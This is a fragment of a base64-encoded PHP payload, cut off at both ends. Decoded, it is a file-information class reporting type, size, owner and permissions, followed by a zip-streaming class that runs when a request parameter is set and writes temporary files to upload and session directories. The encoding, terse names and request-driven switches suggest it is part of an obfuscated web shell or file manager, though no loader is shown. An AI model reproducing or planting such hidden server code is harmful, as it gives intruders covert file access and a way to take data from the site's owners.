nAgJiAwMTcwMDAwKSA9PT0gMDA0MDAwMDsKCQkJcmV0dXJuICR0aGlzLT5kOwoJCX0KCQlpZighaXNzZXQoJHRoaXMtPnQpKSAkdGhpcy0+dHlwZSgpOwoJCWlmKCR0aGlzLT50ICE9PSBGQUxTRSl7CgkJCSR0aGlzLT5kID0gJHRoaXMtPnQgPT09ICdkaXInOwoJCQlyZXR1cm4gJHRoaXMtPmQ7CgkJfQoJCQoJCSR2ID0gaXNfZGlyKCR0aGlzLT5mcCk7CgkJaWYoaXNfYm9vbCgkdikpewoJCQkkdGhpcy0+ZCA9ICR2OwoJCQlyZXR1cm4gJHY7CgkJfQoJCWlmKFBIUF9WRVJTSU9OPj0nNScpIDogaWYoIWlzc2V0KCR0aGlzLT5maSkpICR0aGlzLT5zcGwoKTsKCQlpZigkdGhpcy0+ZmkgIT09IEZBTFNFKXsKCQkJdHJ5ewoJCQkJJHYgPSAkdGhpcy0+ZmktPmlzRGlyKCk7CgkJCX0KCQkJY2F0Y2goRXhjZXB0aW9uICRlKXsKCQkJCSR2ID0gTlVMTDsKCQkJfQoJCQlpZihpc19ib29sKCR2KSl7CgkJCQkkdGhpcy0+ZCA9ICR2OwoJCQkJcmV0dXJuICR2OwoJCQl9CgkJfQoJCWVuZGlmOwoJCSR0aGlzLT5kID0gRkFMU0U7CgkJCgkJcmV0dXJuIEZBTFNFOwoJfQoJCglmdW5jdGlvbiBpc0xpbmsoKSB7CgkgICAgaWYgKGlzc2V0KCR0aGlzLT5sKSkKCSAgICAgICAgcmV0dXJuICR0aGlzLT5sOwoJICAgIAoJICAgICR2ID0gbHN0YXQoJHRoaXMtPmZwKTsKCSAgICAKCSAgICBpZiAoaXNfYXJyYXkoJHYpKSB7CgkgICAgICAgICR0aGlzLT5sID0gKCR2WzJdICYgMDE3MDAwMCkgPT09IDAxMjAwMDA7CgkgICAgICAgIHJldHVybiAkdGhpcy0+bDsKCSAgICB9CgkgICAgaWYgKCFpc3NldCgkdGhpcy0+dCkpCgkgICAgICAgICR0aGlzLT50eXBlKCk7CgkgICAgaWYgKCR0aGlzLT50ICE9PSBGQUxTRSkgewoJICAgICAgICAkdGhpcy0+bCA9ICR0aGlzLT50ID09PSAnbGluayc7CgkgICAgICAgIHJldHVybiAkdGhpcy0+bDsKCSAgICB9CgkgICAgJHYgPSBpc19saW5rKCR0aGlzLT5mcCk7CgkgICAgaWYgKGlzX2Jvb2woJHYpKSB7CgkgICAgICAgICR0aGlzLT5sID0gJHY7CgkgICAgICAgIHJldHVybiAkdjsKCSAgICB9CgkgICAgaWYgKFBIUF9WRVJTSU9OID49ICc1Jyk6CgkgICAgICAgIGlmICghaXNzZXQoJHRoaXMtPmZpKSkKCSAgICAgICAgICAgICR0aGlzLT5zcGwoKTsKCSAgICAgICAgaWYgKCR0aGlzLT5maSAhPT0gRkFMU0UpIHsKCSAgICAgICAgICAgIHRyeSB7CgkgICAgICAgICAgICAgICAgJHYgPSAkdGhpcy0+ZmktPmlzTGluaygpOwoJICAgICAgICAgICAgfQoJICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewoJICAgICAgICAgICAgICAgICR2ID0gTlVMTDsKCSAgICAgICAgICAgIH0KCSAgICAgICAgICAgIGlmIChpc19ib29sKCR2KSkgewoJICAgICAgICAgICAgICAgICR0aGlzLT5sID0gJHY7CgkgICAgICAgICAgICAgICAgcmV0dXJuICR2OwoJICAgICAgICAgICAgfQoJICAgICAgICB9CgkgICAgZW5kaWY7CgkgICAgJHRoaXMtPmwgPSBGQUxTRTsKCSAgICByZXR1cm4gRkFMU0U7Cgl9CgkKCWZ1bmN0aW9uIGdldExpbmtUYXJnZXQoKSB7CgkgICAgaWYgKGlzc2V0KCR0aGlzLT5mKSkKCSAgICAgICAgcmV0dXJuICR0aGlzLT5mOwoJICAgIGlmIChOSVggfHwgUEhQX1ZFUlNJT04gPj0gJzUuMycpIHsKCSAgICAgICAgJHYgPSByZWFkbGluaygkdGhpcy0+ZnApOwoJICAgICAgICBpZiAoaXNfc3RyaW5nKCR2KSkgewoJICAgICAgICAgICAgJHRoaXMtPmYgPSAkdjsKCSAgICAgICAgICAgIHJldHVybiAkdjsKCSAgICAgICAgfQoJICAgIH0KCSAgICBpZiAoUEhQX1ZFUlNJT04gPj0gJzUnKToKCSAgICAgICAgaWYgKCFpc3NldCgkdGhpcy0+ZmkpKQoJICAgICAgICAgICAgJHRoaXMtPnNwbCgpOwoJICAgICAgICBpZiAoJHRoaXMtPmZpICE9PSBGQUxTRSkgewoJICAgICAgICAgICAgdHJ5IHsKCSAgICAgICAgICAgICAgICAkdiA9ICR0aGlzLT5maS0+Z2V0TGlua1RhcmdldCgpOwoJICAgICAgICAgICAgfQoJICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewoJICAgICAgICAgICAgICAgICR2ID0gTlVMTDsKCSAgICAgICAgICAgIH0KCSAgICAgICAgICAgIGlmIChpc19zdHJpbmcoJHYpKSB7CgkgICAgICAgICAgICAgICAgJHRoaXMtPmYgPSAkdjsKCSAgICAgICAgICAgICAgICByZXR1cm4gJHY7CgkgICAgICAgICAgICB9CgkgICAgICAgIH0KCSAgICBlbmRpZjsKCSAgICAkdiA9IHJlYWxwYXRoKCR0aGlzLT5mcCk7CgkgICAgaWYgKGlzX3N0cmluZygkdikpIHsKCSAgICAgICAgJHRoaXMtPmYgPSAkdjsKCSAgICAgICAgcmV0dXJuICR2OwoJICAgIH0KCSAgICAkdGhpcy0+ZiA9ICcnOwoJICAgIHJldHVybiAnJzsKCX0KCQoJZnVuY3Rpb24gZ2V0U2l6ZSgpIHsKCSAgICBpZiAoaXNzZXQoJHRoaXMtPnMpKQoJICAgICAgICByZXR1cm4gJHRoaXMtPnM7CgkgICAgaWYgKCFpc3NldCgkdGhpcy0+aSkpCgkgICAgICAgICR0aGlzLT5zdGF0KCk7CgkgICAgaWYgKCR0aGlzLT5pICE9PSBGQUxTRSkgewoJICAgICAgICAkdGhpcy0+cyA9ICR0aGlzLT5pWzddOwoJICAgICAgICByZXR1cm4gJHRoaXMtPnM7CgkgICAgfQoJICAgICR2ID0gZmlsZXNpemUoJHRoaXMtPmZwKTsKCSAgICBpZiAoaXNfaW50KCR2KSkgewoJICAgICAgICAkdGhpcy0+cyA9ICR2OwoJICAgICAgICByZXR1cm4gJHY7CgkgICAgfQoJICAgIGlmIChQSFBfVkVSU0lPTiA+PSAnNScpOgoJICAgICAgICBpZiAoIWlzc2V0KCR0aGlzLT5maSkpCgkgICAgICAgICAgICAkdGhpcy0+c3BsKCk7CgkgICAgICAgIGlmICgkdGhpcy0+ZmkgIT09IEZBTFNFKSB7CgkgICAgICAgICAgICB0cnkgewoJICAgICAgICAgICAgICAgICR2ID0gJHRoaXMtPmZpLT5nZXRTaXplKCk7CgkgICAgICAgICAgICB9CgkgICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CgkgICAgICAgICAgICAgICAgJHYgPSBOVUxMOwoJICAgICAgICAgICAgfQoJICAgICAgICAgICAgaWYgKGlzX2ludCgkdikpIHsKCSAgICAgICAgICAgICAgICAkdGhpcy0+cyA9ICR2OwoJICAgICAgICAgICAgICAgIHJldHVybiAkdjsKCSAgICAgICAgICAgIH0KCSAgICAgICAgfQoJICAgIGVuZGlmOwoJICAgICR0aGlzLT5zID0gLTE7CgkgICAgcmV0dXJuIC0xOwoJfQoJCglmdW5jdGlvbiBnZXRDVGltZSgpIHsKCSAgICBpZiAoaXNzZXQoJHRoaXMtPmMpKQoJICAgICAgICByZXR1cm4gJHRoaXMtPmM7CgkgICAgaWYgKCFpc3NldCgkdGhpcy0+aSkpCgkgICAgICAgICR0aGlzLT5zdGF0KCk7CgkgICAgaWYgKCR0aGlzLT5pICE9PSBGQUxTRSkgewoJICAgICAgICAkdGhpcy0+YyA9ICR0aGlzLT5pWzEwXTsKCSAgICAgICAgcmV0dXJuICR0aGlzLT5jOwoJICAgIH0KCSAgICAkdiA9IGZpbGVjdGltZSgkdGhpcy0+ZnApOwoJICAgIGlmIChpc19pbnQoJHYpKSB7CgkgICAgICAgICR0aGlzLT5jID0gJHY7CgkgICAgICAgIHJldHVybiAkdjsKCSAgICB9CgkgICAgaWYgKFBIUF9WRVJTSU9OID49ICc1Jyk6CgkgICAgICAgIGlmICghaXNzZXQoJHRoaXMtPmZpKSkKCSAgICAgICAgICAgICR0aGlzLT5zcGwoKTsKCSAgICAgICAgaWYgKCR0aGlzLT5maSAhPT0gRkFMU0UpIHsKCSAgICAgICAgICAgIHRyeSB7CgkgICAgICAgICAgICAgICAgJHYgPSAkdGhpcy0+ZmktPmdldENUaW1lKCk7CgkgICAgICAgICAgICB9CgkgICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CgkgICAgICAgICAgICAgICAgJHYgPSBOVUxMOwoJICAgICAgICAgICAgfQoJICAgICAgICAgICAgaWYgKGlzX2ludCgkdikpIHsKCSAgICAgICAgICAgICAgICAkdGhpcy0+YyA9ICR2OwoJICAgICAgICAgICAgICAgIHJldHVybiAkdjsKCSAgICAgICAgICAgIH0KCSAgICAgICAgfQoJICAgIGVuZGlmOwoJICAgICR0aGlzLT5jID0gMDsKCSAgICByZXR1cm4gMDsKCX0KCQoJZnVuY3Rpb24gZ2V0TVRpbWUoKSB7CgkgICAgaWYgKGlzc2V0KCR0aGlzLT5tKSkKCSAgICAgICAgcmV0dXJuICR0aGlzLT5tOwoJICAgIGlmICghaXNzZXQoJHRoaXMtPmkpKQoJICAgICAgICAkdGhpcy0+c3RhdCgpOwoJICAgIGlmICgkdGhpcy0+aSAhPT0gRkFMU0UpIHsKCSAgICAgICAgJHRoaXMtPm0gPSAkdGhpcy0+aVs5XTsKCSAgICAgICAgcmV0dXJuICR0aGlzLT5tOwoJICAgIH0KCSAgICAkdiA9IGZpbGVtdGltZSgkdGhpcy0+ZnApOwoJICAgIGlmIChpc19pbnQoJHYpKSB7CgkgICAgICAgICR0aGlzLT5tID0gJHY7CgkgICAgICAgIHJldHVybiAkdjsKCSAgICB9CgkgICAgaWYgKFBIUF9WRVJTSU9OID49ICc1Jyk6CgkgICAgICAgIGlmICghaXNzZXQoJHRoaXMtPmZpKSkKCSAgICAgICAgICAgICR0aGlzLT5zcGwoKTsKCSAgICAgICAgaWYgKCR0aGlzLT5maSAhPT0gRkFMU0UpIHsKCSAgICAgICAgICAgIHRyeSB7CgkgICAgICAgICAgICAgICAgJHYgPSAkdGhpcy0+ZmktPmdldE1UaW1lKCk7CgkgICAgICAgICAgICB9CgkgICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CgkgICAgICAgICAgICAgICAgJHYgPSBOVUxMOwoJICAgICAgICAgICAgfQoJICAgICAgICAgICAgaWYgKGlzX2ludCgkdikpIHsKCSAgICAgICAgICAgICAgICAkdGhpcy0+bSA9ICR2OwoJICAgICAgICAgICAgICAgIHJldHVybiAkdjsKCSAgICAgICAgICAgIH0KCSAgICAgICAgfQoJICAgIGVuZGlmOwoJICAgICR0aGlzLT5tID0gMDsKCSAgICByZXR1cm4gMDsKCX0KCQoJZnVuY3Rpb24gZ2V0T3duZXIoKSB7CgkgICAgaWYgKGlzc2V0KCR0aGlzLT5vKSkKCSAgICAgICAgcmV0dXJuICR0aGlzLT5vOwoJICAgIGlmICghaXNzZXQoJHRoaXMtPmkpKQoJICAgICAgICAkdGhpcy0+c3RhdCgpOwoJICAgIGlmICgkdGhpcy0+aSAhPT0gRkFMU0UpIHsKCSAgICAgICAgJHRoaXMtPm8gPSAkdGhpcy0+aVs0XTsKCSAgICAgICAgcmV0dXJuICR0aGlzLT5vOwoJICAgIH0KCSAgICAkdiA9IGZpbGVvd25lcigkdGhpcy0+ZnApOwoJICAgIGlmIChpc19pbnQoJHYpKSB7CgkgICAgICAgICR0aGlzLT5vID0gJHY7CgkgICAgICAgIHJldHVybiAkdjsKCSAgICB9CgkgICAgaWYgKFBIUF9WRVJTSU9OID49ICc1Jyk6CgkgICAgICAgIGlmICghaXNzZXQoJHRoaXMtPmZpKSkKCSAgICAgICAgICAgICR0aGlzLT5zcGwoKTsKCSAgICAgICAgaWYgKCR0aGlzLT5maSAhPT0gRkFMU0UpIHsKCSAgICAgICAgICAgIHRyeSB7CgkgICAgICAgICAgICAgICAgJHYgPSAkdGhpcy0+ZmktPmdldE93bmVyKCk7CgkgICAgICAgICAgICB9CgkgICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CgkgICAgICAgICAgICAgICAgJHYgPSBOVUxMOwoJICAgICAgICAgICAgfQoJICAgICAgICAgICAgaWYgKGlzX2ludCgkdikpIHsKCSAgICAgICAgICAgICAgICAkdGhpcy0+byA9ICR2OwoJICAgICAgICAgICAgICAgIHJldHVybiAkdjsKCSAgICAgICAgICAgIH0KCSAgICAgICAgfQoJICAgIGVuZGlmOwoJICAgICR0aGlzLT5vID0gLTE7CgkgICAgcmV0dXJuIC0xOwoJfQoJCglmdW5jdGlvbiBnZXRHcm91cCgpIHsKCSAgICBpZiAoaXNzZXQoJHRoaXMtPmcpKQoJICAgICAgICByZXR1cm4gJHRoaXMtPmc7CgkgICAgaWYgKCFpc3NldCgkdGhpcy0+aSkpCgkgICAgICAgICR0aGlzLT5zdGF0KCk7CgkgICAgaWYgKCR0aGlzLT5pICE9PSBGQUxTRSkgewoJICAgICAgICAkdGhpcy0+ZyA9ICR0aGlzLT5pWzVdOwoJICAgICAgICByZXR1cm4gJHRoaXMtPmc7CgkgICAgfQoJICAgICR2ID0gZmlsZWdyb3VwKCR0aGlzLT5mcCk7CgkgICAgaWYgKGlzX2ludCgkdikpIHsKCSAgICAgICAgJHRoaXMtPmcgPSAkdjsKCSAgICAgICAgcmV0dXJuICR2OwoJICAgIH0KCSAgICBpZiAoUEhQX1ZFUlNJT04gPj0gJzUnKToKCSAgICAgICAgaWYgKCFpc3NldCgkdGhpcy0+ZmkpKQoJICAgICAgICAgICAgJHRoaXMtPnNwbCgpOwoJICAgICAgICBpZiAoJHRoaXMtPmZpICE9PSBGQUxTRSkgewoJICAgICAgICAgICAgdHJ5IHsKCSAgICAgICAgICAgICAgICAkdiA9ICR0aGlzLT5maS0+Z2V0R3JvdXAoKTsKCSAgICAgICAgICAgIH0KCSAgICAgICAgICAgIGNhdGNoIChFeGNlcHRpb24gJGUpIHsKCSAgICAgICAgICAgICAgICAkdiA9IE5VTEw7CgkgICAgICAgICAgICB9CgkgICAgICAgICAgICBpZiAoaXNfaW50KCR2KSkgewoJICAgICAgICAgICAgICAgICR0aGlzLT5nID0gJHY7CgkgICAgICAgICAgICAgICAgcmV0dXJuICR2OwoJICAgICAgICAgICAgfQoJICAgICAgICB9CgkgICAgZW5kaWY7CgkgICAgJHRoaXMtPmcgPSAtMTsKCSAgICByZXR1cm4gLTE7Cgl9CgkKCWZ1bmN0aW9uIGdldFBlcm1zKCkgewoJICAgIGlmIChpc3NldCgkdGhpcy0+cCkpCgkgICAgICAgIHJldHVybiAkdGhpcy0+cDsKCSAgICBpZiAoIWlzc2V0KCR0aGlzLT5pKSkKCSAgICAgICAgJHRoaXMtPnN0YXQoKTsKCSAgICBpZiAoJHRoaXMtPmkgIT09IEZBTFNFKSB7CgkgICAgICAgICR0aGlzLT5wID0gJHRoaXMtPmlbMl07CgkgICAgICAgIHJldHVybiAkdGhpcy0+cDsKCSAgICB9CgkgICAgJHYgPSBmaWxlcGVybXMoJHRoaXMtPmZwKTsKCSAgICBpZiAoaXNfaW50KCR2KSkgewoJICAgICAgICAkdGhpcy0+cCA9ICR2OwoJICAgICAgICByZXR1cm4gJHY7CgkgICAgfQoJICAgIGlmIChQSFBfVkVSU0lPTiA+PSAnNScpOgoJICAgICAgICBpZiAoIWlzc2V0KCR0aGlzLT5maSkpCgkgICAgICAgICAgICAkdGhpcy0+c3BsKCk7CgkgICAgICAgIGlmICgkdGhpcy0+ZmkgIT09IEZBTFNFKSB7CgkgICAgICAgICAgICB0cnkgewoJICAgICAgICAgICAgICAgICR2ID0gJHRoaXMtPmZpLT5nZXRQZXJtcygpOwoJICAgICAgICAgICAgfQoJICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewoJICAgICAgICAgICAgICAgICR2ID0gTlVMTDsKCSAgICAgICAgICAgIH0KCSAgICAgICAgICAgIGlmIChpc19pbnQoJHYpKSB7CgkgICAgICAgICAgICAgICAgJHRoaXMtPnAgPSAkdjsKCSAgICAgICAgICAgICAgICByZXR1cm4gJHY7CgkgICAgICAgICAgICB9CgkgICAgICAgIH0KCSAgICBlbmRpZjsKCSAgICAkdGhpcy0+cCA9IDA7CgkgICAgcmV0dXJuIDA7Cgl9CgkKCWZ1bmN0aW9uIGlzUmVhZGFibGUoKSB7CgkgICAgaWYgKGlzc2V0KCR0aGlzLT5yKSkKCSAgICAgICAgcmV0dXJuICR0aGlzLT5yOwoJICAgICR2ID0gaXNfcmVhZGFibGUoJHRoaXMtPmZwKTsKCSAgICBpZiAoaXNfYm9vbCgkdikpIHsKCSAgICAgICAgJHRoaXMtPnIgPSAkdjsKCSAgICAgICAgcmV0dXJuICR2OwoJICAgIH0KCSAgICBpZiAoUEhQX1ZFUlNJT04gPj0gJzUnKToKCSAgICAgICAgaWYgKCFpc3NldCgkdGhpcy0+ZmkpKQoJICAgICAgICAgICAgJHRoaXMtPnNwbCgpOwoJICAgICAgICBpZiAoJHRoaXMtPmZpICE9PSBGQUxTRSkgewoJICAgICAgICAgICAgdHJ5IHsKCSAgICAgICAgICAgICAgICAkdiA9ICR0aGlzLT5maS0+aXNSZWFkYWJsZSgpOwoJICAgICAgICAgICAgfQoJICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewoJICAgICAgICAgICAgICAgICR2ID0gTlVMTDsKCSAgICAgICAgICAgIH0KCSAgICAgICAgICAgIGlmIChpc19ib29sKCR2KSkgewoJICAgICAgICAgICAgICAgICR0aGlzLT5yID0gJHY7CgkgICAgICAgICAgICAgICAgcmV0dXJuICR2OwoJICAgICAgICAgICAgfQoJICAgICAgICB9CgkgICAgZW5kaWY7CgkgICAgJHRoaXMtPnIgPSBGQUxTRTsKCSAgICByZXR1cm4gRkFMU0U7Cgl9CgkKCWZ1bmN0aW9uIGlzV3JpdGFibGUoKSB7CgkgICAgaWYgKGlzc2V0KCR0aGlzLT53KSkKCSAgICAgICAgcmV0dXJuICR0aGlzLT53OwoJICAgICR2ID0gaXNfd3JpdGFibGUoJHRoaXMtPmZwKTsKCSAgICBpZiAoaXNfYm9vbCgkdikpIHsKCSAgICAgICAgJHRoaXMtPncgPSAkdjsKCSAgICAgICAgcmV0dXJuICR2OwoJICAgIH0KCSAgICBpZiAoUEhQX1ZFUlNJT04gPj0gJzUnKToKCSAgICAgICAgaWYgKCFpc3NldCgkdGhpcy0+ZmkpKQoJICAgICAgICAgICAgJHRoaXMtPnNwbCgpOwoJICAgICAgICBpZiAoJHRoaXMtPmZpICE9PSBGQUxTRSkgewoJICAgICAgICAgICAgdHJ5IHsKCSAgICAgICAgICAgICAgICAkdiA9ICR0aGlzLT5maS0+aXNXcml0YWJsZSgpOwoJICAgICAgICAgICAgfQoJICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewoJICAgICAgICAgICAgICAgICR2ID0gTlVMTDsKCSAgICAgICAgICAgIH0KCSAgICAgICAgICAgIGlmIChpc19ib29sKCR2KSkgewoJICAgICAgICAgICAgICAgICR0aGlzLT53ID0gJHY7CgkgICAgICAgICAgICAgICAgcmV0dXJuICR2OwoJICAgICAgICAgICAgfQoJICAgICAgICB9CgkgICAgZW5kaWY7CgkgICAgJHRoaXMtPncgPSBGQUxTRTsKCSAgICByZXR1cm4gRkFMU0U7Cgl9CgkKCWZ1bmN0aW9uIGdldE1vZGUoKSB7CgkgICAgJHYgPSAwOwoJICAgIGlmICgkdGhpcy0+aXNSZWFkYWJsZSgpKQoJICAgICAgICAkdiArPSAxOwoJICAgIGlmICgkdGhpcy0+aXNXcml0YWJsZSgpKQoJICAgICAgICAkdiArPSAyOwoJICAgIHJldHVybiAkdjsKCX0KCQoJZnVuY3Rpb24gc3RhdCgpIHsKCSAgICAkdiA9IHN0YXQoJHRoaXMtPmZwKTsKCSAgICBpZiAoaXNfYXJyYXkoJHYpKSB7CgkgICAgICAgICR0aGlzLT5pID0gJHY7CgkgICAgICAgIHJldHVybjsKCSAgICB9CgkgICAgJHYgICAgICAgPSBsc3RhdCgkdGhpcy0+ZnApOwoJICAgICR0aGlzLT5pID0gaXNfYXJyYXkoJHYpID8gJHYgOiBGQUxTRTsKCX0KCQoJZnVuY3Rpb24gdHlwZSgpIHsKCSAgICAkdiAgICAgICA9IGZpbGV0eXBlKCR0aGlzLT5ycCk7CgkgICAgJHRoaXMtPnQgPSAkdiA/ICR2IDogRkFMU0U7Cgl9CgkKCWZ1bmN0aW9uIHNwbCgpIHsKCSAgICAkdGhpcy0+ZmkgPSBGQUxTRTsKCSAgICBpZiAoUEhQX1ZFUlNJT04gPj0gJzUnKToKCSAgICAgICAgaWYgKFBIUF9WRVJTSU9OID49ICc1LjEuMicpIHsKCSAgICAgICAgICAgIHRyeSB7CgkgICAgICAgICAgICAgICAgJHRoaXMtPmZpID0gbmV3IFNwbEZpbGVJbmZvKCR0aGlzLT5ycCk7CgkgICAgICAgICAgICB9CgkgICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CgkgICAgICAgICAgICAgICAgJHRoaXMtPmZpID0gRkFMU0U7CgkgICAgICAgICAgICB9CgkgICAgICAgIH0KCSAgICBlbmRpZjsKCX0KCQp9CgoKaWYoaXNzZXQoJERbJ2EnXSkpewoJCgljbGFzcyBQWklQIHsKCSAgICB2YXIgJF9icGwgPSAnJywgJF9jZGZoID0gTlVMTCwgJF9jZGZwID0gTlVMTCwgJF9jZGZvID0gRkFMU0UsICRfY2RyYyA9IDAsICRfY2RzbyA9IDAsICRfZmxycyA9IGFycmF5KCk7CgkgICAgZnVuY3Rpb24gaW5pdCgkYnA9JycpIHsKCSAgICAgICAgJHRoaXMtPl9icGwgPSBzdHJsZW4oJGJwKTsKCSAgICAgICAgaWYgKCRoID0gdG1wZmlsZSgpKQoJICAgICAgICAgICAgJHRoaXMtPl9jZGZoID0gJGg7CgkgICAgICAgIGVsc2UgewoJICAgICAgICAgICAgJG4gPSB0ZW1wTmFtZSgpOwoJICAgICAgICAgICAgJGEgPSBhcnJheSgKCSAgICAgICAgICAgICAgICAndXBsb2FkX3RtcF9kaXInLAoJICAgICAgICAgICAgICAgICdzZXNzaW9uLnNhdmVfcGF0aCcsCgkgICAgICAgICAgICAgICAgJ3VzZXJfZGlyJywKCSAgICAgICAgICAgICAgICAnZG9jX3Jvb3QnCgkgICAgICAgICAgICApOwoJICAgICAgICAgICAgZm9yZWFjaCAoJGEgYXMgJHYpCgkgICAgICAgICAgICAgICAgaWYgKCRwID0gaW5pX2dldCgkdikpIHsKCSAgICAgICAgICAgICAgICAgICAgJHAgLj0gRFNDIC4gJG47CgkgICAgICAgICAgICAgICAgICAgIGlmICgkaCA9IGZvcGVuKCRwLCAnYncrJykpIHsKCSAgICAgICAgICAgICAgICAgICAgICAgIGZsb2NrKCRoLCBMT0NLX0VYKTsKCSAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5fY2RmaCA9ICRoOwoJICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPl9jZGZwID0gJHA7CgkgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKCSAgICAgICAgICAgICAgICAgICAgfQoJICAgICAgICAgICAgICAgICAgICBpZiAoUEhQX1ZFUlNJT04gPj0gJzUnKToKCSAgICAgICAgICAgICAgICAgICAgICAgIGlmIChQSFBfVkVSU0lPTiA+PSAnNS4xJykgewoJICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRyeSB7CgkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoID0gbmV3IFNwbEZpbGVPYmplY3QoJHAsICdidysnKTsKCSAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CgkgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewoJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaCA9IE5VTEw7CgkgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQoJICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaCkgewoJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaC0+ZmxvY2soTE9DS19FWCk7CgkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5fY2RmaCA9ICRoOwoJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+X2NkZnAgPSAkcDsKCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPl9jZGZvID0gVFJVRTsKCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIFRSVUU7CgkgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQoJICAgICAgICAgICAgICAgICAgICAgICAgfQoJICAgICAgICAgICAgICAgICAgICBlbmRpZjsKCSAgICAgICAgICAgICAgICB9CgkgICAgICAgICAgICAkcCA9IHNlbGZQYXRoKCkgLiAkbjsKCSAgICAgICAgICAgIGlmICgkaCA9IGZvcGVuKCRwLCAnYncrJykpIHsKCSAgICAgICAgICAgICAgICBmbG9jaygkaCwgTE9DS19FWCk7CgkgICAgICAgICAgICAgICAgJHRoaXMtPl9jZGZoID0gJGg7CgkgICAgICAgICAgICAgICAgJHRoaXMtPl9jZGZwID0gJHA7CgkgICAgICAgICAgICAgICAgcmV0dXJuIFRSVUU7CgkgICAgICAgICAgICB9CgkgICAgICAgICAgICBpZiAoUEhQX1ZFUlNJT04gPj0gJzUnKToKCSAgICAgICAgICAgICAgICBpZiAoUEhQX1ZFUlNJT04gPj0gJzUuMScpIHsKCSAgICAgICAgICAgICAgICAgICAgdHJ5IHsKCSAgICAgICAgICAgICAgICAgICAgICAgICRoID0gbmV3IFNwbEZpbGVPYmplY3QoJHAsICdidysnKTsKCSAgICAgICAgICAgICAgICAgICAgfQoJICAgICAgICAgICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CgkgICAgICAgICAgICAgICAgICAgICAgICAkaCA9IE5VTEw7CgkgICAgICAgICAgICAgICAgICAgIH0KCSAgICAgICAgICAgICAgICAgICAgaWYgKCRoKSB7CgkgICAgICAgICAgICAgICAgICAgICAgICAkaC0+ZmxvY2soTE9DS19FWCk7CgkgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+X2NkZmggPSAkaDsKCSAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5fY2RmcCA9ICRwOwoJICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPl9jZGZvID0gVFJVRTsKCSAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBUUlVFOwoJICAgICAgICAgICAgICAgICAgICB9CgkgICAgICAgICAgICAgICAgfQoJICAgICAgICAgICAgZW5kaWY7CgkgICAgICAgIH0KCSAgICAgICAgcmV0dXJuIEZBTFNFOwoJICAgIH0KCSAgICBmdW5jdGlvbiBmaWxlSGVhZGVyKCRuLCAkdCkgewoJICAgICAgICBlY2hvICJceDUwXHg0Ylx4MDNceDA0XHgxNFx4MDBceDA4XHgwMFx4MDBceDAwIiwgJHQsICJceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiLCBwYWNrKCd2Jywgc3RybGVuKCRuKSksICJceDAwXHgwMCIsICRuOwoJICAgICAgICBvYl9zdGFydCgnemlwQ2FsYycsIDEwNDg1NzYpOwoJICAgIH0KCSAgICBmdW5jdGlvbiBmaWxlRm9vdGVyKCRuLCAkdCkgewoJICAgICAgICBvYl9lbmRfZmx1c2goKTsKCSAgICAgICAgJHYgPSB6aXBDYWxjKE5VTEwpOwoJICAgICAgICAkcyA9IHBhY2soJ1YnLCAkdlswXSk7CgkgICAgICAgICRjID0gcGFjaygnVicsICR2WzFdIF4gMHhmZmZmZmZmZik7CgkgICAgICAgIGVjaG8gIlx4NTBceDRiXHgwN1x4MDgiLCAkYywgJHMsICRzOwoJICAgICAgICAkZmggICA9ICR0aGlzLT5fY2RmaDsKCSAgICAgICAgJG5sICAgPSBzdHJsZW4oJG4pOwoJICAgICAgICAkZGF0YSA9ICJceDUwXHg0Ylx4MDFceDAyXHgwMFx4MDBceDE0XHgwMFx4MDhceDAwXHgwMFx4MDAiIC4gJHQgLiAkYyAuICRzIC4gJHMgLiBwYWNrKCd2JywgJG5sKSAuICJceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiIC4gcGFjaygnVicsICR0aGlzLT5fY2RzbykgLiAkbjsKCSAgICAgICAgaWYgKCR0aGlzLT5fY2RmbykgewoJICAgICAgICAgICAgJGZoLT5md3JpdGUoJGRhdGEpOwoJICAgICAgICAgICAgJGZoLT5mZmx1c2goKTsKCSAgICAgICAgfSBlbHNlIHsKCSAgICAgICAgICAgIGZ3cml0ZSgkZmgsICRkYXRhKTsKCSAgICAgICAgICAgIGZmbHVzaCgkZmgpOwoJICAgICAgICB9CgkgICAgICAgICsrJHRoaXMtPl9jZHJjOwoJICAgICAgICAkdGhpcy0+X2Nkc28gKz0gNDYgKyAkdlswXSArICRubDsKCSAgICB9CgkgICAgZnVuY3Rpb24gYWRkUGF0aCgkcCkgewoJICAgIC